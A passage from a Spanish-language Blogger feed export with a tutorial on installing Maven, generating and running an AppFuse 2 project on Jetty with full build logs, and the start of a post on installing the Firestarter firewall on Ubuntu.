enviromment, ejecutamos el sigte. comando, con sudo para poder editar:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/apache-maven-2.2.1$ &lt;span style="font-weight: bold;"&gt;sudo nano /etc/environment&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;y agregamos el bin de Maven al path, como se muestra abajo:&lt;br /&gt;&lt;br /&gt;PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:&lt;span style="font-weight: bold;"&gt;/home/slack/programas/apache-maven-2.2.1/bin&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;Una vez hecho esto debemos cerrar la consola, y esperar que los demonios del sistema actualicen las variables, en caso contrario bastara con reiniciar. Para confirmar que tenemos bien configurado Maven ejecutamos:&lt;br /&gt;&lt;br /&gt;slack@zion:~/programas/apache-maven-2.2.1$ &lt;span style="font-weight: bold;"&gt;mvn --version&lt;/span&gt;&lt;br /&gt;Apache Maven 2.2.1 (r801777; 2009-08-06 15:16:01-0400)&lt;br /&gt;Java version: 1.5.0_12&lt;br /&gt;Java home: /home/slack/programas/java/jdk1.5.0_12/jre&lt;br /&gt;Default locale: es_CL, platform encoding: UTF-8&lt;br /&gt;OS name: "linux" version: "2.6.28-15-generic" arch: "i386" Family: "unix"&lt;br /&gt;&lt;br /&gt;Esto nos despliega la informacion del contexto para ejecutar Maven (mvn)&lt;br /&gt;&lt;br /&gt;Ahora ya podemos ejecutar mvn para nuestros proyectos, debemos para este ejemplo tener instalado Mysql,  utilizaremos mvn para appfuse2, entonces vamos al directorio de nuestros proyectos, y ejecutamos la sigte. linea&lt;br /&gt;&lt;br /&gt;slack@zion:~/desarrollo$&lt;span style="font-weight: bold;"&gt; mvn archetype:create -DarchetypeGroupId=org.appfuse.archetypes -DarchetypeArtifactId=appfuse-basic-spring -DremoteRepositories=http://static.appfuse.org/releases -DarchetypeVersion=2.0.2 -DgroupId=cl.xerox.app -DartifactId=appfuse2&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;En esta linea le decimos a maven nuestra estructura de packages y el nombre del proyecto. al ejecutar el comando se comienza la descarga de las dependencias del proyecto, mediante POM.xml (proyect object model), este es el log resumido:&lt;br /&gt;&lt;br /&gt;[INFO] Scanning for projects...&lt;br /&gt;[INFO] Searching repository for plugin with prefix: 'archetype'.&lt;br /&gt;[INFO] org.apache.maven.plugins: checking for updates from central&lt;br /&gt;[INFO] org.codehaus.mojo: checking for updates from central&lt;br /&gt;[INFO] artifact org.apache.maven.plugins:maven-archetype-plugin: checking for updates from central&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/plugins/maven-archetype-plugin/2.0-alpha-4/maven-archetype-plugin-2.0-alpha-4.pom&lt;br /&gt; &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/archetype/maven-archetype/2.0-alpha-4/maven-archetype-2.0-alpha-4.pom&lt;br /&gt;  &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/maven-parent/9/maven-parent-9.pom&lt;br /&gt;  &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/apache/4/apache-4.pom&lt;br /&gt; &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/plugins/maven-archetype-plugin/2.0-alpha-4/maven-archetype-plugin-2.0-alpha-4.jar&lt;br /&gt;  &lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;[INFO] Building Maven Default Project&lt;br /&gt;[INFO]    task-segment: [archetype:create] (aggregator-style)&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/archetype/archetype-common/2.0-alpha-4/archetype-common-2.0-alpha-4.pom&lt;br /&gt;                                  &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/dom4j/dom4j/1.6.1/dom4j-1.6.1.jar&lt;br /&gt;                            &lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/codehaus/plexus/plexus-velocity/1.1.3/plexus-velocity-1.1.3.jar&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/velocity/velocity-dep/1.4/velocity-dep-1.4.jar&lt;br /&gt;   &lt;br /&gt;[INFO] Setting property: classpath.resource.loader.class =&gt; 'org.codehaus.plexus.velocity.ContextClassLoaderResourceLoader'.&lt;br /&gt;[INFO] Setting property: velocimacro.messages.on =&gt; 'false'.&lt;br /&gt;[INFO] Setting property: resource.loader =&gt; 'classpath'.&lt;br /&gt;[INFO] Setting property: resource.manager.logwhenfound =&gt; 'false'.&lt;br /&gt;[INFO] [archetype:create {execution: default-cli}]&lt;br /&gt;[WARNING] This goal is deprecated. Please use mvn archetype:generate instead&lt;br /&gt;[INFO] Defaulting package to group ID: cl.xerox.app&lt;br /&gt;[INFO] We are using command line specified remote repositories: http://static.appfuse.org/releases&lt;br /&gt;Downloading: http://static.appfuse.org/releases/org/appfuse/archetypes/appfuse-basic-spring/2.0.2/appfuse-basic-spring-2.0.2.jar&lt;br /&gt;77K downloaded  (appfuse-basic-spring-2.0.2.jar)&lt;br /&gt;[INFO] ----------------------------------------------------------------------------&lt;br /&gt;[INFO] Using following parameters for creating OldArchetype: appfuse-basic-spring:2.0.2&lt;br /&gt;[INFO] ----------------------------------------------------------------------------&lt;br /&gt;[INFO] Parameter: groupId, Value: cl.xerox.app&lt;br /&gt;[INFO] Parameter: packageName, Value: cl.xerox.app&lt;br /&gt;[INFO] Parameter: basedir, Value: /home/slack/desarrollo&lt;br /&gt;[INFO] Parameter: package, Value: cl.xerox.app&lt;br /&gt;[INFO] Parameter: version, Value: 1.0-SNAPSHOT&lt;br /&gt;[INFO] Parameter: artifactId, Value: appfuse2&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;[INFO] OldArchetype created in dir: /home/slack/desarrollo/appfuse2&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;[INFO] BUILD SUCCESSFUL&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;[INFO] Total time: 2 minutes&lt;br /&gt;[INFO] Finished at: Mon Nov 23 11:56:57 GMT-04:00 2009&lt;br /&gt;[INFO] Final Memory: 9M/67M&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;slack@zion:~/desarrollo$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Listo, esto se demora alrededor de unos 5 a 10 min, dependiendo la velocidad de tu red. ahora debemos ejecutar el comando que creara la base de datos (mismo nombre del proyecto)  o la seteamos al final del archivo pom.xml, la ejecucion anterior nos creo el proyecto del nuestro directorio de proyectos con el sigte. contenido:&lt;br /&gt;&lt;br /&gt;slack@zion:~/desarrollo/appfuse2$&lt;span style="font-weight: bold;"&gt; ls -la&lt;/span&gt;&lt;br /&gt;total 56&lt;br /&gt;drwxr-xr-x  4 slack slack  4096 2009-11-23 13:40 .&lt;br /&gt;drwxrwxrwx 58 slack slack  4096 2009-11-23 13:55 ..&lt;br /&gt;-rw-r--r--  1 slack slack 33142 2009-11-23 12:56 pom.xml&lt;br /&gt;-rw-r--r--  1 slack slack   863 2009-11-23 12:56 README.txt&lt;br /&gt;drwxr-xr-x  5 slack slack  4096 2009-11-23 12:56 src&lt;br /&gt;drwxr-xr-x  9 slack slack  4096 2009-11-23 13:42 target&lt;br /&gt;slack@zion:~/desarrollo/appfuse2$&lt;br /&gt;&lt;br /&gt;Entonces ejecutamos, el comando que hara el deploy automatico y descargara las librerias faltantes del proyecto que creamos con el comando anterior, ademas arrancara jetty, &lt;span style="visibility: visible;" id="main"&gt;&lt;span style="visibility: visible;" id="search"&gt;&lt;em&gt;Jetty&lt;/em&gt; es un servidor HTTP y un contenedor de Servlets escrito en Java y open source&lt;/span&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Para desplegar la aplicación basta con ejecutar &lt;b&gt;mvn jetty:run-war&lt;/b&gt; en el directorio del proyecto.&lt;br /&gt;&lt;br /&gt;slack@zion:~/desarrollo/appfuse2$ &lt;span style="font-weight: bold;"&gt;mvn jetty:run-war&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;este es un resumen de la ejecución del comando, esta tarea se demora aprox 20 min, dependiendo tu velocidad&lt;br /&gt;&lt;br /&gt;Downloading: http://static.appfuse.org/repository/jboss/javassist/3.3.ga/javassist-3.3.ga.jar&lt;br /&gt;Downloading: http://static.appfuse.org/repository/freemarker/freemarker/2.3.8/freemarker-2.3.8.jar&lt;br /&gt;                                        &lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/reporting/maven-reporting-impl/2.0.4/maven-reporting-impl-2.0.4.jar&lt;br /&gt;225K downloaded  (doxia-core-1.0-alpha-7.jar)&lt;br /&gt;                            &lt;br /&gt;Downloading: http://static.appfuse.org/repository/commons-collections/commons-collections/2.1.1/commons-collections-2.1.1.jar&lt;br /&gt;13K downloaded  (maven-reporting-impl-2.0.4.jar)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/commons-logging/commons-logging-api/1.0.4/commons-logging-api-1.0.4.jar&lt;br /&gt;[INFO] Unable to find resource 'commons-collections:commons-collections:jar:2.1.1' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;  &lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar&lt;br /&gt;[INFO] Unable to find resource 'org.hibernate:hibernate-validator:jar:3.0.0.ga' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar&lt;br /&gt;[INFO] Unable to find resource 'org.hibernate:hibernate-validator:jar:3.0.0.ga' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/hibernate/hibernate-validator/3.0.0.ga/hibernate-validator-3.0.0.ga.jar&lt;br /&gt;  &lt;br /&gt;[INFO] [hibernate3:hbm2ddl {execution: default}]&lt;br /&gt;[INFO] Configuration XML file loaded: file:/home/slack/desarrollo/appfuse2/src/main/resources/hibernate.cfg.xml&lt;br /&gt;[INFO] Configuration XML file loaded: file:/home/slack/desarrollo/appfuse2/src/main/resources/hibernate.cfg.xml&lt;br /&gt;[INFO] Configuration Properties file loaded: /home/slack/desarrollo/appfuse2/target/classes/jdbc.properties&lt;br /&gt;alter table user_role drop foreign key FK143BF46AF503D155;&lt;br /&gt;alter table user_role drop foreign key FK143BF46A4FD90D75;&lt;br /&gt;drop table if exists app_user;&lt;br /&gt;drop table if exists role;&lt;br /&gt;drop table if exists user_role;&lt;br /&gt;create table app_user (id bigint not null auto_increment, account_expired bit not null, account_locked bit not null, address varchar(150), city varchar(50) not null, country varchar(100), postal_code varchar(15) not null, province varchar(100), credentials_expired bit not null, email varchar(255) not null unique, account_enabled bit, first_name varchar(50) not null, last_name varchar(50) not null, password varchar(255) not null, password_hint varchar(255), phone_number varchar(255), username varchar(50) not null unique, version integer, website varchar(255), primary key (id)) ENGINE=InnoDB;&lt;br /&gt;create table role (id bigint not null auto_increment, description varchar(64), name varchar(20), primary key (id)) ENGINE=InnoDB;&lt;br /&gt;create table user_role (user_id bigint not null, role_id bigint not null, primary key (user_id, role_id)) ENGINE=InnoDB;&lt;br /&gt;alter table user_role add index FK143BF46AF503D155 (user_id), add constraint FK143BF46AF503D155 foreign key (user_id) references app_user (id);&lt;br /&gt;alter table user_role add index FK143BF46A4FD90D75 (role_id), add constraint FK143BF46A4FD90D75 foreign key (role_id) references role (id);&lt;br /&gt;[WARNING] 2 errors occurred while performing &lt;hbm2ddl&gt;.&lt;br /&gt;[INFO] Unable to find resource 'junit-addons:junit-addons:pom:1.4' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/junit-addons/junit-addons/1.4/junit-addons-1.4.pom&lt;br /&gt;&lt;br /&gt;Downloading: http://static.appfuse.org/repository/junit/junit/4.0/junit-4.0.jar&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/surefire/surefire-junit4/2.4.3/surefire-junit4-2.4.3.jar&lt;br /&gt;[INFO] Unable to find resource 'org.apache.maven.surefire:surefire-junit4:jar:2.4.3' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/apache/maven/surefire/surefire-junit4/2.4.3/surefire-junit4-2.4.3.jar&lt;br /&gt;[INFO] Unable to find resource 'junit:junit:jar:4.0' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/junit/junit/4.0/junit-4.0.jar   &lt;br /&gt;   &lt;br /&gt;[INFO] Surefire report directory: /home/slack/desarrollo/appfuse2/target/surefire-reports&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;T E S T S&lt;br /&gt;-------------------------------------------------------&lt;br /&gt;Running cl.xerox.app.AppTest&lt;br /&gt;Tests run: 1, Failures: 0, Errors: 0, Skipped: 0, Time elapsed: 0.081 sec&lt;br /&gt;&lt;br /&gt;Results :&lt;br /&gt;&lt;br /&gt;Tests run: 1, Failures: 0, Errors: 0, Skipped: 0&lt;br /&gt;&lt;br /&gt;[INFO] [dbunit:operation {execution: test}]&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-plugin-api/2.0.1/maven-plugin-api-2.0.1.pom&lt;br /&gt;643b downloaded  (maven-plugin-api-2.0.1.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/maven/2.0.1/maven-2.0.1.pom&lt;br /&gt;11K downloaded  (maven-2.0.1.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-archiver/2.2/maven-archiver-2.2.pom&lt;br /&gt;1K downloaded  (maven-archiver-2.2.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/shared/maven-shared-components/3/maven-shared-components-3.pom&lt;br /&gt;1K downloaded  (maven-shared-components-3.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-archiver/1.0-alpha-7/plexus-archiver-1.0-alpha-7.pom&lt;br /&gt;1K downloaded  (plexus-archiver-1.0-alpha-7.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-utils/1.2/plexus-utils-1.2.pom&lt;br /&gt;767b downloaded  (plexus-utils-1.2.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-artifact/2.0.1/maven-artifact-2.0.1.pom&lt;br /&gt;765b downloaded  (maven-artifact-2.0.1.pom)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/apache/maven/maven-archiver/2.2/maven-archiver-2.2.jar&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/codehaus/plexus/plexus-archiver/1.0-alpha-7/plexus-archiver-1.0-alpha-7.jar&lt;br /&gt;9K downloaded  (maven-archiver-2.2.jar)&lt;br /&gt;138K downloaded  (plexus-archiver-1.0-alpha-7.jar)&lt;br /&gt;[INFO] [war:war {execution: default-war}]&lt;br /&gt;[INFO] Exploding webapp...&lt;br /&gt;[INFO] Assembling webapp appfuse2 in /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT&lt;br /&gt;[INFO] Copy webapp webResources to /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT&lt;br /&gt;[INFO] Expanding: /home/slack/.m2/repository/org/appfuse/appfuse-spring/2.0.2/appfuse-spring-2.0.2.war into /home/slack/desarrollo/appfuse2/target/war/work/appfuse-spring-2.0.2&lt;br /&gt;[INFO] Expanding: /home/slack/.m2/repository/org/appfuse/appfuse-web-common/2.0.2/appfuse-web-common-2.0.2.war into /home/slack/desarrollo/appfuse2/target/war/work/appfuse-web-common-2.0.2&lt;br /&gt;[INFO] Overlaying 2 war(s).&lt;br /&gt;[INFO] Generating war /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war&lt;br /&gt;[INFO] Building war: /home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:jetty:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:jetty:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/jetty/6.1.9/jetty-6.1.9.pom&lt;br /&gt; &lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:jetty-util:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/jetty-util/6.1.9/jetty-util-6.1.9.pom&lt;br /&gt; &lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://snapshots.repository.codehaus.org/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository codehaus.org (http://snapshots.repository.codehaus.org)&lt;br /&gt;Downloading: http://static.appfuse.org/repository/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom&lt;br /&gt;[INFO] Unable to find resource 'org.mortbay.jetty:servlet-api-2.5:pom:6.1.9' in repository appfuse (http://static.appfuse.org/repository)&lt;br /&gt;Downloading: http://repo1.maven.org/maven2/org/mortbay/jetty/servlet-api-2.5/6.1.9/servlet-api-2.5-6.1.9.pom&lt;br /&gt;  &lt;br /&gt;[INFO] [jetty:run-war {execution: default-cli}]&lt;br /&gt;[INFO] Configuring Jetty for project: AppFuse Spring MVC Application&lt;br /&gt;2009-11-23 12:42:31.506::INFO:  Logging to STDERR via org.mortbay.log.StdErrLog&lt;br /&gt;[INFO] Context path = /&lt;br /&gt;[INFO] Tmp directory =  determined at runtime&lt;br /&gt;[INFO] Web defaults = org/mortbay/jetty/webapp/webdefault.xml&lt;br /&gt;[INFO] Web overrides =  none&lt;br /&gt;[INFO] Starting jetty 6.1.9 ...&lt;br /&gt;2009-11-23 12:42:31.648::INFO:  jetty-6.1.9&lt;br /&gt;2009-11-23 12:42:31.667::INFO:  Extract jar:file:/home/slack/desarrollo/appfuse2/target/appfuse2-1.0-SNAPSHOT.war!/ to /home/slack/desarrollo/appfuse2/target/work/webapp&lt;br /&gt;2009-11-23 12:42:32.062::INFO:  No Transaction manager found - if your webapp requires one, please configure one.&lt;br /&gt;2009-11-23 12:42:34.317:/:INFO:  Initializing Spring root WebApplicationContext&lt;br /&gt;2009-11-23 12:42:44.535:/:INFO:  Initializing Spring FrameworkServlet 'dispatcher'&lt;br /&gt;2009-11-23 12:42:45.031::INFO:  Started SelectChannelConnector@0.0.0.0:8080&lt;br /&gt;[INFO] Started Jetty Server&lt;br /&gt;[INFO] Starting scanner at interval of 3 seconds.&lt;br /&gt;^C2009-11-23 13:38:54.748::INFO:  Shutdown hook executing&lt;br /&gt;2009-11-23 13:38:55.286:/:INFO:  Destroying Spring FrameworkServlet 'dispatcher'&lt;br /&gt;2009-11-23 13:38:55.289:/:INFO:  Closing Spring root WebApplicationContext&lt;br /&gt;2009-11-23 13:38:55.297::INFO:  Shutdown hook complete&lt;br /&gt;[INFO] Jetty server exiting.&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;[INFO] BUILD SUCCESSFUL&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;[INFO] Total time: 76 minutes 29 seconds&lt;br /&gt;[INFO] Finished at: Mon Nov 23 13:38:55 GMT-04:00 2009&lt;br /&gt;[INFO] Final Memory: 37M/84M&lt;br /&gt;[INFO] ------------------------------------------------------------------------&lt;br /&gt;slack@zion:~/desarrollo/appfuse2$&lt;br /&gt;&lt;br /&gt;Vemos ahí que tambien esta la configuiración de la base de datos, creacion de tablas, test de aplicacion y levantamiento del servidor jetty en el puerto 8080. ahora solo vamos al browser y abrimos la url: &lt;span style="font-weight: bold;"&gt;http://localhost:8080/login.jsp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;user: admin&lt;br /&gt;passwd: admin&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/hbm2ddl&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_-ixaLQDJLhI/SwrKENJbfaI/AAAAAAAAAMY/QJ5p-DHwZa0/s1600/Pantallazo-5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://4.bp.blogspot.com/_-ixaLQDJLhI/SwrKENJbfaI/AAAAAAAAAMY/QJ5p-DHwZa0/s320/Pantallazo-5.png" alt="" id="BLOGGER_PHOTO_ID_5407356476209200546" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;hbm2ddl&gt;&lt;br /&gt;bee free.... use linux..&lt;br /&gt;&lt;/hbm2ddl&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-3946102382558119845?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/3946102382558119845/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=3946102382558119845' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3946102382558119845'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/3946102382558119845'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2009/11/maven.html' title='Maven'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_-ixaLQDJLhI/SwrKENJbfaI/AAAAAAAAAMY/QJ5p-DHwZa0/s72-c/Pantallazo-5.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-8654755868354792112</id><published>2009-11-23T11:13:00.007-03:00</published><updated>2009-11-23T11:33:44.658-03:00</updated><title type='text'>Firewall en Linux</title><content type='html'>Hola, la seguridad en linux es controlable, y configurable desde los mismos archivos de configuración del sistema. Podemos definir aqui reglas de seguridad con ipables, puertos que se pueden ver desde afuera al ejecutar un nmap u otros ping.&lt;br /&gt;Sabemos que linux es un sistema operativo robusto y seguro, libre de virus, a direferecia del ventanukos el cual ya viene desde el cd de instalación con multiples troyanos y espias que hacen que el sistema ande mucho mas lento y sea totalmente bulnerable a los ataques.&lt;br /&gt;Sin embargo Linux tambien debe ser configurado para hacerlo mas seguro, aunque no hay virus si existen los ataques, pero para esto tenemos ene de opciones seguras y ademas open source.&lt;br /&gt;Aqui presentamos una bastante buena. hablo de un firewall llamado firestarter.&lt;br /&gt;&lt;br /&gt;Firestarter es una herramienta Grafica (GUI) o Desktop Firewall, para poder asegurar parte de sus servicios que tiene instalado en su Distribución GNU/Linux. Esta herramienta permite realizar mediante un wizard NAT, y despues solo copiar el dir /etc/firestarter y el /etc/init.d/firestarter a cualquier otro servidor incluso si estos últimos no tienen instalado interfaz X, además los scripts que genera son estrucuturados cuando se quiere tener un firewall restrictivo tanto con las conexiones entrantes y las salientes (NAT) asi configuras tus politicas para bloquear todo y solo permitir lo que se quiera, yo asi lo tengo, usando la opcion restrictive, pero ya todos los puertos y configuraciones que tambien las puede realizar manualmente.&lt;br /&gt;&lt;br /&gt;Podemos realizar la instalacion facilmente con APT o mediante Webmin.&lt;br /&gt;&lt;br /&gt;Explicare aqui los pasos para la instalacion por APT desde la consola.&lt;br /&gt;&lt;br /&gt;entonces, abrimos una consola y escribimos los siguiente:&lt;br /&gt;&lt;br /&gt;Paso 1: buscamos firestarter en los repositorios&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;apt-cache search firestarter&lt;/span&gt;&lt;br /&gt;firestarter - gtk program for managing and observing your firewall&lt;br /&gt;&lt;br /&gt;Paso 2: Realizamos la instalación&lt;br /&gt;&lt;br /&gt;slack@zion:~$ &lt;span style="font-weight: bold;"&gt;sudo apt-get install firestarter&lt;/span&gt;&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.&lt;br /&gt;sendmail-base m4 procmail sensible-mda sendmail-cf&lt;br /&gt;Utilice «apt-get autoremove» para eliminarlos.&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;menu&lt;br /&gt;Paquetes sugeridos:&lt;br /&gt;dhcp3-server&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;firestarter menu&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 42 no actualizados.&lt;br /&gt;Necesito descargar 855kB de archivos.&lt;br /&gt;Se utilizarán 4002kB de espacio de disco adicional después de esta operación.&lt;br /&gt;¿Desea continuar [S/n]?&lt;br /&gt;&lt;br /&gt;Damos &lt;span style="font-weight: bold;"&gt;S&lt;/span&gt; con mayuscula&lt;br /&gt;&lt;br /&gt;Leyendo lista de paquetes... Hecho&lt;br /&gt;Creando árbol de dependencias &lt;br /&gt;Leyendo la información de estado... Hecho&lt;br /&gt;Se instalaron de forma automática los siguientes paquetes y ya no son necesarios.&lt;br /&gt;sendmail-base m4 procmail sensible-mda sendmail-cf&lt;br /&gt;Utilice «apt-get autoremove» para eliminarlos.&lt;br /&gt;Se instalarán los siguientes paquetes extras:&lt;br /&gt;menu&lt;br /&gt;Paquetes sugeridos:&lt;br /&gt;dhcp3-server&lt;br /&gt;Se instalarán los siguientes paquetes NUEVOS:&lt;br /&gt;firestarter menu&lt;br /&gt;0 actualizados, 2 se instalarán, 0 para eliminar y 42 no actualizados.&lt;br /&gt;Necesito descargar 855kB de archivos.&lt;br /&gt;Se utilizarán 4002kB de espacio de disco adicional después de esta operación.&lt;br /&gt;¿Desea continuar [S/n]? S&lt;br /&gt;Des:1 http://cl.archive.ubuntu.com jaunty/universe menu 2.1.41ubuntu1 [438kB]&lt;br /&gt;Des:2 http://cl.archive.ubuntu.com jaunty/universe firestarter 1.0.3-7ubuntu5 [417kB]&lt;br /&gt;Descargados 855kB en 9s (89,2kB/s)                                                                                                                                                                        &lt;br /&gt;Seleccionando el paquete menu previamente no seleccionado.&lt;br /&gt;(Leyendo la base de datos ...&lt;br /&gt;152901 ficheros y directorios instalados actualmente.)&lt;br /&gt;Desempaquetando menu (de .../menu_2.1.41ubuntu1_i386.deb) ...&lt;br /&gt;Seleccionando el paquete firestarter previamente no seleccionado.&lt;br /&gt;Desempaquetando firestarter (de .../firestarter_1.0.3-7ubuntu5_i386.deb) ...&lt;br /&gt;Procesando disparadores para man-db ...&lt;br /&gt;Procesando disparadores para doc-base ...&lt;br /&gt;Processing 1 added doc-base file(s)...&lt;br /&gt;Registering documents with scrollkeeper...&lt;br /&gt;Configurando menu (2.1.41ubuntu1) ...&lt;br /&gt;&lt;br /&gt;Procesando disparadores para menu ...&lt;br /&gt;Configurando firestarter (1.0.3-7ubuntu5) ...&lt;br /&gt;&lt;br /&gt;Procesando disparadores para menu ...&lt;br /&gt;slack@zion:~$&lt;br /&gt;&lt;br /&gt;Paso 3: la instalacion se completo exitosamente, podemos ir al menu Aplicaciones-&gt; Internet -&gt; Firestarter, esto nos lanza la ventana de inicio del firewall para su configuracion inicial. La vemos en las siguientes pantallas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SwqcOSOtpZI/AAAAAAAAALw/YTY_69xjW90/s1600/Pantallazo.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 200px;" 